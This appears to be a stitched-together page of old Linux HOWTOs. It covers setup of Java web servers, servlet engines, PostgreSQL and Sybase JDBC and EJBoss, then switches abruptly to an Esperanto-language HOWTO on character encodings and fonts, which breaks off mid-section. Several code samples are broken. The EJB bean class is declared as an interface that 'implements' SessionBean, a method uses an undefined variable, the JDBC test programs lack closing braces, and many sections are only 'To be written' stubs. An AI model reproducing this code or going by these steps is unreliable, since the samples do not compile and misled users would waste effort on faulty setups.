Apache is the most popular HTTP server on the Internet. It was originally based upon the NCSA httpd and has since been completely rewritten. It is Open Source licensed. (From the Apache website.)

Download, Installation, and Setting up Your Environment

Rather than downloading from Apache, I suggest you initially try the Apache that most likely came with your Linux distribution.

Alternatively, Apache can be obtained from http://www.apache.org.

Confirming Your Installation

To confirm that Apache is installed and running on your computer, open your web browser, and enter the URL: "http://127.0.0.1". (127.0.0.1 is the IP address for the localhost.)

You should see a web page to the effect of "It Worked!"

If it did not work, you can confirm that Apache is installed by typing the following on a RedHat Package Manager (RPM)-based Linux distribution.

rpm -q | grep apache

To start Apache, type:

cd /etc/rc.d/init.d
./httpd start

Note: The httpd script used at boot time may be in a different location on other Linux distributions.

For more assistance, I suggest you look into the Apache FAQ at http://www.apache.org/docs/misc/FAQ.html.

3.2 IBM Domino

To be written.

See http://www.lotus.com/dominolinuxfor more information.

3.3 IBM HTTP Server

Background

The IBM HTTP Server is an IBM repackaging of Apache. You might consider using the IBM HTTP Server if you plan on working with IBM WebSphere.

At the time of this writing, the most recent version is 1.3.6.1.

Download

The IBM HTTP Server can be obtained from http://www-4.ibm.com/software/webservers/httpservers/download.html.

Click on the download link and select 56-bit or 128-bit SSL encryption.

You will need to register with IBM, fill out a marketing survey, and accept the license agreement before downloading. The IBM HTTP Server requires glibc either version 2.0 or 2.1. glibc is the new Linux libc. If you have an older distribution that is based upon libc5, you will not be able to use the IBM HTTP Server.

On an RedHat Package Manager (RPM)-based Linux distribution, you can run:

rpm -qa | grep libc

You will see output such as:

glibc-2.1.2-11
libc-5.3.12-31

This will show you which versions of libc5 and glibc you have installed on your Linux distribution. In my above example I have both glibc and libc5 installed on my system. glibc is version 2.1, so I would want to download the files for glibc2.1.

I suggest downloading all of the tar files for the glib version of Linux that you have as they are relatively small. However, minimally you will need the server file. For RedHat 6.0 and distributions derived from Redhat 6.0 you will also need the redhat60only. For glibc2.0 based distributions you will also need the libstdc file.

Installation

I suggest installing files in the /usr/local directory. After downloading the files, run:

mkdir /usr/local/ibm
mv HTTPServer.linux.* /usr/local/ibm

You can now open the distribution package file or files.

tar xvf [filename].tar

Where [filename] is the name of the file.

Under the /usr/local/ibm directory, you now should see the directory IHS.

Use the RedHat Package Manager (RPM) to install the rpm files that the tar file produced. If you needed the libstdc file, you will need to install that file first. Then you would install the server RPM file such as:

cd IHS
rpm -i IBM_HTTP_Server-1.3.6-2.i386.rpm

The above example shows version 1.3.6 for the Intel architecture. Substitute the filename as appropriate.

After installing you can delete the rpm files as they can be easily recreated from the tar files.

Setting up Your Environment

The environment variables to set up are:

  • PATH

The IBM HTTP Server installed itself into /opt/IBMHTTPServer. You need to add its bin directory to your PATH.

export PATH=/opt/IBMHTTPServer/bin:$PATH

Note that /opt/IBMHTTPServer/bin was added to the front of the PATH so that the installed Web Server will be used rather than any Web Server that might have come with your Linux distribution.

To confirm that your PATH is correctly set up, check which Apache controller will be used. Type:

which apachectl

The output should reference apachectl in the /opt/IBMHTTPServer/bin directory.

Note: because the IBM HTTP Server is based upon Apache, it uses the Apache controller to start and stop it. When you have both the IBM HTTP Server and Apache installed on a computer, take particular care to your PATH to make sure you are working with the correct server.

You may need to modify the IBM HTTP Server configuration file. The configuration file was installed in /opt/IBMHTTPServer/conf/httpd.conf. The most common two entries that need to be changed are the ServerName and the Listen port number. Look for the key words "ServerName" and "Listen" in the httpd.conf file. The ServerName should be set to either your hostname or IP address. If your computer uses DHCP to acquire an IP address, the hostname is a better candidate. However, in order to use your computer's hostname, your computer's hostname and IP address must be properly registered in DNS.

Additionally if you are running another Web server on the computer you need to assign the IBM HTTP Server to another port so you can run both Web servers simultaneously if necessary.

The following is an example entry in httpd.conf.

ServerName 192.168.0.4
Listen 3000

Confirming Your Installation

To start the IBM HTTP Server, type the following:

/opt/IBMHTTPServer/bin/apachectl start

To confirm that the IBM HTTP Server is installed and running on your computer, open your web browser, and enter the URL: "http://192.168.0.4:3000" substituting the correct IP address and port number entered into httpd.conf.

You should see a web page to the effect of "Welcome to the IBM HTTP Server". Contratulations, you have installed, set up an environment for, and tested the IBM HTTP Server for Linux.

More Information

For more information, I suggest you look into the IBM HTTP Server Support page at http://www-4.ibm.com/software/webservers/httpservers/support.html.

3.4 Jetty HTTP Server and Servlet Container

Background

Jetty is an Open Source HTTP Servlet Server written in 100% Java. It is both a full featured HTTP/1.1 server and a Servlet Container. It is designed to be light weight, high performance, embeddable, extensible and flexible, thus making it an ideal platform for serving dynamic HTTP requests from any Java application.

Jetty can be used as a stand-alone HTTP server and servlet container or it can be embedded in another java application (eg. the JBoss EJB container is using Jetty as it's prefered server and container solution).

As a combined server and servlet container, both these functions run efficiently in a single unix process. Installation and configuration is also simpler as a single application.

Download

The Jetty HTTP Server and Servlet container may be downloaded via:

http://jetty.mortbay.org.

Jetty is distributed under the artistic license, full source is included and it can be used and distributed commercially.

Installation

The package is distributed as a gzipped tar file, which can be unpacked with:

gunzip < Jetty-x.x.x.tgz | tar xf -

Which will create a Jetty-x.x.x directory where x.x.x is the version number.

To run the demo server:

export JETTY_HOME=<jetty install directory>
export JAVA_HOME=<JRE install directory>
$JETTY_HOME/bin/jetty.sh run
Then to see the Jetty demo and tutorial point a browser at http://localhost:8080.

Jetty can also be installed and run via JMX or as part of the JBoss distributions. See http://jetty.mortbay.org or the README.TXT file for more details.


Enterprise Java for Linux HOWTO: How to Setup Java Servlet Support

 Next Previous Contents

4. How to Setup Java Servlet Support

There are several Web Server plug-ins and Application Servers available for Linux that provide support for Java Servlets. These include:

  • Allaire JRun
  • Apache Tomcat
  • BEA WebLogic
  • Enhydra
  • Locomotive
  • IBM Websphere
  • Jetty

4.1 Allaire JRun

To be written.

See http://www.allaire.com/products/jrun/for more information.

4.2 Apache Tomcat

Background

JServ has been replaced with Tomcat from the Apache Jakarta project: http://jakarta.apache.org/. This section is still written for JServ and needs to be updated.

Apache JServe is a 100% pure Java servlet engine fully compliant with the Java Servlet 2.0 specification. Apache JServ is part of the Java Apache Project. (From the Apache Java Project website).

Download

Apache JServ can be obtained from http://java.apache.org/jserv/index.html.

>From the Apache JServ Project home page, follow the Download Apache JServ link.

Currently RPM distributions are available for RedHat Linux. For other Linux distributions you will have to build from source. The following example describes how install the RPM for RedHat 6x.

As of the time of this writing, the current version is 1.1b3.

Installation

I suggest installing files in the /usr/local directory. After downloading the files, run:

mkdir /usr/local/apachejserv
mv ApacheJServ*.rpm /usr/local/apachejserv

For RedHat and RedHat-derived distributions, use the RedHat Package Manager (RPM) to install the rpm file such as:

rpm -i ApacheJServ-1.1-b2_RH6x.i386.rpm

The above example shows version 1.1-b2 for the RedHat 6x on the Intel architecture.

Setting up Your Environment

You will need to stop, set your Java environment variables, and restart Apache to register Apache JServ.

To stop Apache, type:

cd /etc/rc.d/init.d
./httpd stop

Note: The httpd script used at boot time may be in a different location on other Linux distributions

To set you Java environment, see the How to Install the JDK section of this document, specifically for the JDK you intend to use. You need to set several properties in the jserv.properties file installed in /etc/httpd/conf/jserv. Specifically, look for:

  • wrapper.bin - to reference the JDK you installed
  • wrapper.classpath - to minimally include /usr/lib/apache/ApacheJServ.jar and /home/httpd/classes/servlet-2.0.jar
  • bindaddress=localhost
  • port=8007

To restart Apache, type:

cd /etc/rc.d/init.d
./httpd start

Confirming Your Installation

To confirm that the Apache JServ is installed and running on your computer, open your web browser, and enter the URL: "http://127.0.0.1/servlet/IsItWorking" substituting the correct IP address if you are browsing from another machine.

You should see a web page to the effect of "Yes, It's Working!". Contratulations, you have installed, set up an environment for, and tested the Apache JServ for Linux.

For more assistance, I suggest you look into the Apache JServ website at

http://java.apache.org/jserv/index.html.

Now, to compile and run your own servlet. Enter the following Java servlet program.

import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class HelloWorldServlet extends HttpServlet {
  public void service (HttpServletRequest request,
    HttpServletResponse response) throws ServletException, IOException {
  }
}

More Information

For more information, I suggest you look into the Java Apache Project website at http://java.apache.org/.

4.3 BEA WebLogic

See BEA WegLogic below.

4.4 Enhydra

To be written.

See http://www.enhydra.orgfor more information.

4.5 IBM WebSphere

To be written.

See http://www-4.ibm.com/software/webservers/appserv/linux.htmlfor more information.

4.6 Locomotive

To be written.

See ://www.locomotive.org/for more information.

4.7 Jetty

The Jetty HTTP server is a combined server and servlet container. Installation of the HTTP server (see above) provides servlet support. More information can be obtained via the demo server and tutorial installed with the HTTP server.


Enterprise Java for Linux HOWTO: How to Setup Java Server Pages (JSP) Support

 Next Previous Contents

5. How to Setup Java Server Pages (JSP) Support

To be written.

5.1 Apache Jakarta

To be written.

See ://jakarta.apache.com/for more information.

5.2 Caucho Resin

To be written.

See ://www.caucho.com/for more information.

5.3 Jetty

The Jetty HTTP server comes with the Jasper JSP engine. Installation of the HTTP server (see 3.4 above) provides JSP support. More information can be obtained via the demo server and tutorial installed with the HTTP server.


Enterprise Java for Linux HOWTO: How to Setup JDBC Support

 Next Previous Contents

6. How to Setup JDBC Support

There are several databases that run on Linux that also support a JDBC interface. These include:

  • IBM DB2
  • MiniSQL
  • MySQL
  • Oracle
  • PostgreSQL
  • Sybase

If you are going to try just one DBMS, I suggest you initially try PostgreSQL, principally because it comes with most major Linux distributions and may already be installed on your system.

6.1 IBM DB2

To be written.

See http://www-4.ibm.com/software/data/db2/linux/for more information.

6.2 MiniSQL

To be written.

See http://www.hughes.com.au/for more information.

6.3 MySQL

To be written.

See http://www.mysql.org/for more information.

6.4 Oracle

To be written.

See http://platforms.oracle.com/linux/

6.5 PostgreSQL

Background

PostgreSQL is a sophisticated Object-Relational DBMS, supporting almost all SQL constructs, including subselects, transactions, and user-defined types and functions. It is the most advanced open-source database available anywhere. Commercial Support is also available from PostgreSQL, Inc. The current version is 6.5.3 and is available at any of the many mirror sites or on CD. (From the PostgreSQL website.)

PostgreSQL may have already been shipped with your Linux distribution because of its open source license.

Download and Installation

Rather than downloading from PostgreSQL, I suggest you initially try the PostgreSQL that most likely came with your Linux distribution.

Alternatively, PostgreSQL can be obtained from http://www.postgresql.org.

To confirm that PostgreSQL is installed on your computer, type:

rpm -qa | grep postgresql

or

which postmaster
which psql

You need the postgresql, postgresql-server, and postgresql-java packages installed to use Java with PostgreSQL.

Make sure PostgreSQL is running. Type:

ps -f -u postgres

You should see postmaster, the PostgreSQL daemon, running.

If postmaster is not running, there will probably be a Sys V Init script that you can use to start it. In many distributions it is located in /etc/rc.d/init.d. To start PostgreSQL, type:

cd /etc/rc.d/init.d
./postgresql start

You can use the above "ps" command to confirm that PostgreSQL is running.

Note: To use JDBC, PostgreSQL needs to have been started with the '-i' parameter indicating support for TCP/IP connections rather than solely UNIX domain sockets. Confirm that postmaster> was started with the '-i' paramter.

Create a test database by typing:

su - postgres
createdb javatest

You should see no error messages.

Create a test table with one test row. First, log in to the interactive PostgreSQL tool and connect to the javatest database you just created by typing (as the postgres user):

psql javatest

You should see confirmation that you are connected to the database: javatest.

Then, create the test table by typing (within psql):

create table test (col1 varchar(255));

You should see the "CREATE" confirmation message.

Next, insert one row by typing (within psql):

insert into test (col1) values ('Hello, from PostgreSQL!');

You should see the "INSERT" confirmation message.

Finally, confirm that the row is there by typing (within psql):

select col1 from test;

You should see the row you just created.

You can exit psql by typing "\ q".

For more assistance on working with PostgreSQL, I suggest you look into the Database-SQL-RDBMS HOW-TO document for Linux (PostgreSQL Object Relational Database System) at http://metalab.unc.edu/mdw/HOWTO/PostgreSQL-HOWTO.html.

You will need to add the appropriate JAR to your CLASSPATH. The PostgreSQL JARs come in the postgresql-jdbc package.

export CLASSPATH=$CLASSPATH:/usr/lib/pgsql/jdbc6.5-1.2.jar

You may need to substitute the path depending you where PostgreSQL is installed on your system.

Confirming Your Installation

You are now ready to compile and run a simple JDBC application that uses PostgreSQL. Create the following program.

import java.sql.*;

class PostgreSQLTest {
  public static void main (String[] args) {
    try {
      Driver driver = (Driver)
        Class.forName("postgresql.Driver").newInstance();
      DriverManager.registerDriver(driver);

      String     url = "jdbc:postgresql:javatest";
      Connection con = DriverManager.getConnection(url, "postgres", "");
      Statement  stm = con.createStatement();

      stm.setQueryTimeout(10);
      ResultSet  rs  = stm.executeQuery("select col1 from test");

      rs.next();

      System.out.println(rs.getString(1));

    } catch (SQLException e) {

      System.out.println("Exception!");
      System.out.println(e.toString());
  }
}

Compile the program with the Java compiler.

javac PostgreSQLTest.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Run the program with the JVM.

java PostgreSQLTest

If the JVM produces errors, confirm your PATH and CLASSPATH.

You should see the following output:

Hello, from PostgreSQL!

Congratulations, you have installed, set up an environment for, and tested a JDBC interface to PostgreSQL.

More Information

For more information, I suggest you look into the PostgreSQL website at

http://www.postgresql.org/.

6.6 Sybase

Background

Sybase Adaptive Server Enterprise is a commericial RDBMS that is available for the Linux operating system. While Sybase has recently released version 12.0, version 11.9.2 is available for Linux.

According to the Sybase website, "By porting ASE to Linux, Sybase provides the Linux development community with the first highly scalable, high-performance database engine available for the platform. The package includes the standard features of Adaptive Server Enterprise and all related connectivity components. Adaptive Server Enterprise 11.9.2 is offered FREE for development."

Download

The Sybase ASE can be obtained from http://www.sybase.com/products/databaseservers/linux/linux1192_reg.html.

In order to download, you will have to register with the Sybase website and agree to the license online.

The Sybase JDBC driver can be obtained from http://www.sybase.com/products/internet/jconnect/.

Select download jConnect 4.2/5.2.

If you have access to a Sybase server on the network, you only need to download and install the JDBC driver.

Installation

Installation of Sybase is beyond the scope of this HOWTO. This HOWTO will assume that Sybase has been correctly installed and configured and that you can get to Sybase using isql.

Log into isql as sa and create a test user and test database by typing:

create database javatest
go
sp_addlogin javatest, javatest, javatest
go
use javatest
go
sp_dbowner javatest
go

You should see no error messages.

Create a test table with one test row. First, log in to isql as the javatest user and type:

create table test (col1 varchar(255))
go

You should see no error messages.

Next, insert one row by typing:

insert into test (col1) values ('Hello, from Sybase!')
go

You should see no error messages.

Finally, confirm that the row is there by typing:

select col1 from test
go

You should see the row you just created.

You can exit isql by typing "exit".

For more assistance on working with Sybase, review the documentation that can be downloaded with Sybase.

You will need to add the appropriate JAR to your CLASSPATH.

export CLASSPATH=$CLASSPATH:/usr/local/sybase/jConnect-5_2/classes/jconn2.jar

You may need to substitute the path depending you where jConnect is installed on your system.

Confirming Your Installation

You are now ready to compile and run a simple JDBC application that uses Sybase. Create the following program.

import java.sql.*;

class SybaseTest {
  public static void main (String[] args) {
    try {
      Driver driver = (Driver)
        Class.forName("com.sybase.jdbc2.jdbc.SybDriver").newInstance();
      DriverManager.registerDriver(driver);

      String     host = "127.0.0.1";
      String     port = "4100";

      String     url = "jdbc:sybase:Tds:" + host + ":" + port;
      Connection con = DriverManager.getConnection(url, "javatest", "javatest");
      Statement  stm = con.createStatement();

      stm.setQueryTimeout(10);
      ResultSet  rs  = stm.executeQuery("select col1 from test");

      rs.next();

      System.out.println(rs.getString(1));

    } catch (SQLException e) {

      System.out.println("Exception!");
      System.out.println(e.toString());
  }
}

You will need to substitute the host and port number of you Sybase server as appropriate. See $SYBASE/interfaces and the $DSQUERY entry for what values to use for the host and port number.

Compile the program with the Java compiler.

javac SybaseTest.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Run the program with the JVM.

java SybaseTest

If the JVM produces errors, confirm your PATH and CLASSPATH.

You should see the following output:

Hello, from Sybase!

Congratulations, you have installed, set up an environment for, and tested a JDBC interface to Sybase.

More Information

For more information, I suggest you look into the Sybase jConnect website at http://www.sybase.com/products/internet/jconnect/.


Enterprise Java for Linux HOWTO: How to Setup Enterprise Java Bean (EJB) Support

 Next Previous Contents

7. How to Setup Enterprise Java Bean (EJB) Support

To be written.

7.1 BEA WebLogic

To be written.

See http://www.beasys.com/linux/for more information.

7.2 EJBoss

Background

EJBoss has been renamed JBoss and is well advanced with stable J2EE compliant releases at http://www.jboss.org/.

This section was written when it was still EJBoss 0.95 and needs to be updated.

Download

JBoss can be downloaded from the JBoss website at http://www.jboss.org/.

Installation

I suggest installing files in the /usr/local directory. After downloading, run:

mkdir /usr/local/ejboss
mv ejboss* /usr/local/ejboss

Unjar the file:

jar xvf ejboss095_jdk122.jar

You should see various files and directories created under /usr/local/ejboss.

The above example shows EJBoss 0.95 for JDK 1.2.2. Substitute the file names as appropriate.

Setting up Your Environment

The environment variables to set up are:

  • CLASSPATH

The CLASSPATH environment variable references all JARs and directories that you will need to compile and run Java programs.

Include the EJBoss JAR and the beans/generated directory in your CLASSPATH.

export CLASSPATH=/usr/local/ejboss/lib/ejboss095_jdk122.jar:/usr/local/ejboss/beans/generated:$CLASSPATH

Confiming Your Installation

You are now ready to compile and run a simple EJB application. Create the following three source files for the server.

First, the business interface.

// EJBTest.java

import javax.ejb.*;
import java.rmi.RemoteException;

public
 interface EJBTest extends EJBObject {
  public String greet() throws
 RemoteException;

}

Second, the home interface.

// EJBTestHome.java

import javax.ejb.*;
import java.rmi.RemoteException;

public
 interface EJBTestHome extends EJBHome {

  public EJBTest create() throws

   CreateException, RemoteException;
}

Third, the bean implementation class.

// EJBTestBean.java

import javax.ejb.*;
import java.rmi.RemoteException;

public
 interface EJBTestBean implements SessionBean {

  private SessionContext
 mContext = null;

  public void ejbPassivate() {
    System.out.println("EJBTestBean
 passivated.");
}

  public void ejbActivate() {
    System.out.println("EJBTestBean
 activated.");
}

  public void ejbCreate() {
    System.out.println("EJBTestBean
 created.");
}

  public void ejbRemove() {
    System.out.println("EJBTestBean
 removed.");
}

  public void setSessionContext() {
    System.out.println("EJBTestBean
 context set.");
    mContext = context;
}

  public String greet()
 {
    return "Hello, I'm an EJB!";
}

}

Compile the server source files with the Java compiler:

javac EJBTest*.java

If the compiler produces errors, double check the syntax and confirm your PATH and CLASSPATH.

Now that you have successfully written and compiled the server source files, you need to deploy your bean to EJBoss. Deploying a bean to EJBoss requires several steps that must be performed exactly.

First, create the file ejb-jar.xml.

<?xml version="1.0" encoding="Cp1252"?>

<ejb-jar ID="">

     <description></description>

     <display-name></display-name>

     <small-icon></small-icon>

     <large-icon></large-icon>

     <ejb-client-jar></ejb-client-jar>

     <enterprise-beans>

       <session>

         <description>Nextgen bean</description>

         <ejb-name>nextgen.EJBTest</ejb-name>

         <home>EJBTestHome</home>

         <remote>EJBTest</remote>

         <ejb-class>EJBTestBean</ejb-class>

         <session-type>Stateful</session-type>

         <transaction-type>Bean</transaction-type>

         <env-entry>

           <description></description>

           <env-entry-name></env-entry-name>

           <env-entry-type>java.lang.String</env-entry-type>

           <env-entry-value></env-entry-value>

         </env-entry>

         <resource-ref>

           <description></description>

           <res-ref-name></res-ref-name>

           <res-type></res-type>

           <res-auth>Container</res-auth>

         </resource-ref>

       </session>

     </enterprise-beans>

     <assembly-descriptor />

   </ejb-jar>

The above file, which must be named ejb-jar.xml identifies the interface and class names of files that you just created as well as a name for the object.

Second, relative to the directory of the three class files you just created, create a META-INF directory.

mkdir META-INF
mv ejb-jar.xml META-INF

Third, package all four files into a jar.

jar cvf EJBTest.jar EJBTest*.class META-INF/ejb-jar.xml

You should see that it added the manifest as well as the three class files and the XML deployment descriptor file.

Fourth, put the JAR you just created in the EJBoss beans directory.

mv EJBTest.jar /usr/local/ejboss/beans

Fifth, move the class files you created to the EJBoss beans/generated directory.

mv EJBTest*.class /usr/local/ejboss/beans/generated

(This fifth step is redudant due to a bug in EJBoss 0.95. )

You are now ready to start the EJBoss server.

cd /usr/local/ejboss

sh server.sh

You should see the proxy files compile automatically and confirmation that your EJB is deployed.

You are now ready to write, compile and test the simple client applicaiton.

7.3 Bullsoft JOnAS EJB

To be written.

See http://www.bullsoft.com/ejb/for more information.


Linux-Esperanto-HOWTO

Kelkaj helpindikoj por uzi Esperanton sub Linukso

Kompilita de Wolfram Diestel ( wolfram@steloj.de) helpita de aliaj.

v1.30, August 1999

1. Antauxvortoj kaj dankoj

2. Kodoj

  • 2.1 koderoj deksesume
  • 2.2 koderoj dekume
  • 2.3 koderoj okume

3. Konzolo (teksta moduso)

4. Metamail

5. X-fenestra sistemo

  • 5.1 Tiparoj
  • 5.2 Tajpi E-signojn

6. KDE

7. Netscape Communicator

8. Xterm

9. Redaktiloj

  • 9.1 Redaktiloj kun Latin-3/Unikod-subteno
  • 9.2 Vi (Elvis, Vim)

10. Redakti per Emakso (Emacs)

  • 10.1 Emakso 19.34
  • 10.2 Emakso 20.* kaj MULE

11. Retposxto per Xfmail 1.3

12. Diskutgrupoj per Knews

13. TeX / LaTeX

14. Esperanto-subteno en internaciigitaj programoj

15. Esperanto-signoj en HTML-tekstoj


Linux-Esperanto-HOWTO: Antauxvortoj kaj dankoj

 Next Previous Contents

1. Antauxvortoj kaj dankoj

Cxar tiu cxi teksto estas verkita per linuxdoc-sgml, gxi ne povas uzi esperantajn signojn.

La avantagxo estas, ke la teksto aperas en la HOWTO-kolekto (anstataux en la mini-HOWTO-kolekto) kaj estas havebla en pluraj formoj (teksto, TTT-teksto, Postskript-teksto, k.a.)

La malavantagxo estas, ke mi devas kodi la esperantajn signojn per la x-maniero kaj el tio povus estigxi miskomprenoj cxe la agordekzemploj. Nu, mi provas rimarkigi tion cxe la koncernaj lokoj.

Solvojn kaj gravajn informojn donis: Eduard Werner (Emakso 19.34, TeX), Marko Rauhamaa (xmodmap, TeX, mailcap), Edmund Grimley Evans (TeX, konzolo), Lee Sau Dan (setfont, Emakso 20, MULE, TeX), Richard Hable (Vi, Xfmail, Knews, Netscape), Albert Reiner (TeX) kaj Axel Belinfante (Wily, Sam). Dankon al ili kaj cxiuj aliaj, kiuj helpis kompili tiun cxi dosieron.

Aktuala versio de tiu cxi dokumento trovigxas cxiam sub kielfari.sgml, kielfari.html.


Linux-Esperanto-HOWTO: Kodoj

 Next Previous Contents

2. Kodoj

Ekzistas tri internaciaj normoj por signokodoj, kiuj enhavas la esperantajn signojn, la du kutime uzataj estas ISO-8859-3 (Latin-3) kaj Unikodo (Unicode). La unua normo estas por okbitaj signoj kaj la dua por deksesbitaj. Por povi transporti unikodajxojn tra okbitaj kaj sepbitaj medioj ekzistas la kodoj UTF-8 kaj UTF-7.

Cxar Unikodo samtempe difinas koderojn por la signoj de cxiuj lingvoj de la mondo, gxi ricevas pli kaj pli da subteno de programarproduktantoj.

Alie ol ekz. Vindozo NT, Linukso interne uzas okbitajn kodojn. Subteno de Unikodo precipe estas en sistemkomponentoj, kiuj zorgas pri eligado de tekstoj sur la ekrano aux kiuj rilatas al intersxangxo de informoj kun la ekstera mondo. Do estas iom da Unikodo en la konzolo, iom da en X-fenestroj, iom da en la traktado de informoj venantaj per retposxto aux el TTT kaj iom da rilate al dosiersistemoj de KKDoj (Joliet-dosiersistemo). Ofte tiuj komponentoj uzas la okbitan unikodformon UTF-8.

Cxar la subteno de Unikodo en Linukso estas iom malkohera, gxenerale oni preferas ISO-8859-3. Sed supozeble la premisoj sxangxigxos gxis la fino de 1999.

Ampleksajn informojn pri la unuopaj kodoj kun E-signoj en internaciaj normoj kaj en specialaj programoj, vi trovas cxe Edmundo.

Foje vi bezonas la eblecon konverti esperantajn tekstojn de UTF-8 al Latin-3. Por tio vi povas uzi la sekvan Perl-programeton.

  #!/usr/bin/perl
  while (<>) {
    s/\304\210/\306/g;
    s/\304\211/\346/g;
    s/\304\234/\330/g;
    s/\304\235/\370/g;
    s/\304\244/\246/g;
    s/\304\245/\266/g;
    s/\304\264/\254/g;
    s/\304\265/\274/g;
    s/\305\234/\336/g;
    s/\305\235/\376/g;
    s/\305\254/\335/g;
    s/\305\255/\375/g;
    print;
  };
Por konverti en la alia direkto, intersxangxu la du kolumnojn inter /../../.

Por presi Latin-3ajn tekstojn vi povas uzi solvon de Albert Reiner. Temas pri simpla programeto en Perl uzanta TeX-on por la presado.

Pro kompleteco tie cxi ni donas ankoraux la koderojn de la E-signoj laux la plej vastigxintaj normoj. UTF-8, kiu kodas unikodajn signojn per okbitaj koderoj, estas ekzemple uzata en HTML-pagxoj.

2.1 koderoj deksesume

  litero  Latin-3 Unikodo UTF-8
  -----------------------------
  Cx      C6      0108    C4 88
  cx      E6      0109    C4 89
  Gx      D8      011C    C4 9C
  gx      F8      011D    C4 9D
  Hx      A6      0124    C4 A4
  hx      B6      0125    C4 A5
  Jx      AC      0134    C4 B4
  jx      BC      0135    C4 B5
  Sx      DE      015C    C5 9C
  sx      FE      015D    C5 9D
  Ux      DD      016C    C5 AC
  ux      FD      016D    C5 AD

2.2 koderoj dekume

  litero  Latin-3 Unikodo UTF-8
  -------------------------------
  Cx      198     0264    196 136
  cx      230     0265    196 137
  Gx      216     0284    196 156
  gx      248     0285    196 157
  Hx      166     0292    196 164
  hx      182     0293    196 165
  Jx      172     0308    196 180
  jx      188     0309    196 181
  Sx      222     0348    197 156
  sx      254     0349    197 157
  Ux      221     0364    197 172
  ux      253     0365    197 173

2.3 koderoj okume

  litero  Latin-3 Unikodo UTF-8
  -------------------------------
  Cx      306     0410    304 210
  cx      346     0411    304 211
  Gx      330     0434    304 234
  gx      370     0435    304 235
  Hx      246     0444    304 244
  hx      266     0445    304 245
  Jx      254     0464    304 264
  jx      274     0465    304 265
  Sx      336     0534    305 234
  sx      376     0535    305 235
  Ux      335     0554    305 254
  ux      375     0555    305 255


Linux-Esperanto-HOWTO: Konzolo (teksta moduso)

 Next Previous Contents

3. Konzolo (teksta moduso)

Latin-3-tiparojn por la teksta moduso vi trovas sub la nomoj /usr/lib/kbd/consolefonts/iso03.f?? Por funkciigi unu el ili tajpu ekzemple:

  setfont iso03.f16

Konzolaj tiparoj havas aux 256 aux 512 tipojn, tamen tiparo povas havi, kaj prefere havu, unikodan indekson. La oficiala loko por konzolaj tiparoj estas /usr/share/consolefonts, sed multaj distribuoj ankoraux uzas /usr/lib/kbd/consolefonts. Utila tiparo estas ekzemple LatArCyrHeb-16.psf, kiu enhavas multajn literojn el pluraj alfabetoj, inkluzive de la esperantaj literoj. Por funkciigi tiun tiparon tajpu:

  setfont LatArCyrHeb-16.psf

Konzolo povas funkcii per UTF-8 aux per okbita signaro, kaj eblas sxalti inter la du modusoj per eskapokodoj. Por sxalti al la UTF-8-moduso tajpu:

  echo -e '\033%G'

Poste la konzolo komprenos UTF-8, do eblos ekzemple legi diverslingvajn TTT-pagxojn en UTF-8 per lynx.

Por sxalti al la okbita moduso tajpu:

  echo -e '\033%@'

En tiu okazo vi devas ankaux difini la uzatan 8-bitan signaron. Bedauxrinde, en la nuna momento, la komandoj por tion fari estas diversaj, depende de la linuks-distribuo. Sercxu, cxu vi havas komandon consolechars, kaj cxu vi havas dosieron sub la nomo /usr/share/consoletrans/iso03*. Eventuale vi devas aktualigi vian pakon kbd aux anstatauxigi gxin per console-tools.

Vian preferatan solvon vi kompreneble aldonu en via startskripto por ne cxiam devi tajpi gxin.


Linux-Esperanto-HOWTO: Metamail

 Next Previous Contents

4. Metamail

La programeto Metamail estas uzata de aliaj programoj, aparte retposxtaj kaj diskutgrupaj legiloj, se ili ne scias trakti iun MIME-tipon. En la dosiero /etc/mailcap trovigxas informoj, kiel montri tiajn MIME-tipojn. Por povi legi tekstojn koditajn laux UTF-8, ni aldonos la sekvajn du liniojn al la dosiero /etc/mailcap:

  text/plain; /plena/pado/al/utf8-l3 %s; \
  test=test "`echo %{charset} | tr '[A-Z]' '[a-z]'`" = utf-8;\
  copiousoutput
  text/utf8; /plena/pado/al/utf8-l3 %s; copiousoutput

La duan linion ni aldonis, cxar kelkaj programoj provas mem trakti mesagxojn en la formo text/plain, ecx se ili ne havas tauxgan tiparon por gxi, ekzemple cxe Content-Type: text/plain; charset="utf-8".

La programeto utf8-l3 trovigxas en la 2a cxapitro "Kodoj".


Linux-Esperanto-HOWTO: X-fenestra sistemo

 Next Previous Contents

5. X-fenestra sistemo

5.1 Tiparoj

Por trovi Latin-3-tiparojn kaj rilatajn informojn por la X-fenestra sistemo vi rigardu en la Virtuala Esperanto-Biblioteko - sub la rubriko "Komputadaj fakoj".

Cxe la tiparoj vi trovas indikojn kiel instali ilin. Per:

  xlsfonts -fn *iso8859-3

vi povas kontroli cxu la tiparoj (sukcese) estas instalitaj en via sistemo. La proporciaj Adobe-tiparoj bone tauxgas por vidado en Communicator, Knews, Xfmail...). Por Xterm kaj la Vi-variantoj vi uzu la tiparojn de Alain Fagot.

La plej multajn X-ajn programojn vi povas voki tiel:

  <programo> -fn <tiparnomo>
por ke ili uzu la tiparon tiparnomo.

Alternativo al la supre menciitaj tiparoj estas la uzado de TrueType-tiparoj. Por tiuj tiparoj, originale uzataj de Vindozo kaj Makintosho ekzistas biblioteko FreeType, kiu permesas uzi ilin ankaux kun Linukso. Surbaze de tiu biblioteko ekzistas du tiparserviloj xfstt kaj xfsft, kiuj servas TrueType-tiparojn al X-fenestroj. La necesajn TrueType-tiparojn vi povas aux preni el ekzistanta Vindozo 9x/NT-instalo aux ekzemple de la mikrosofta servilo. Atentu, ke vi bezonas unikodajn TrueType-tiparojn. La okbitaj normale ne enhavas la esperantajn signojn aux en maltauxgaj lokoj. Unikodaj estas ekz. la kutimaj Courier New, Arial, Times New Roman kaj Lucida Sans Unicode.

xfstt

Xfstt estas relative simple instalebla solvo, kiu tamen havas la malavantagxon, ke gxi ne realigas la tutan norman tiparservan protokolon.

Normale xfstt uzas Unikodon, kies unuaj 256 signoj estas la samaj kiel cxe ISO-8859-1. Ekde la versio 0.9.8 oni povas rebildigi la unikodajn signojn al aliaj kodoj. Ekzemple per la komandlinio:

  xfstt --encoding iso8859-3,koi8-r,windows-1251

xfsft

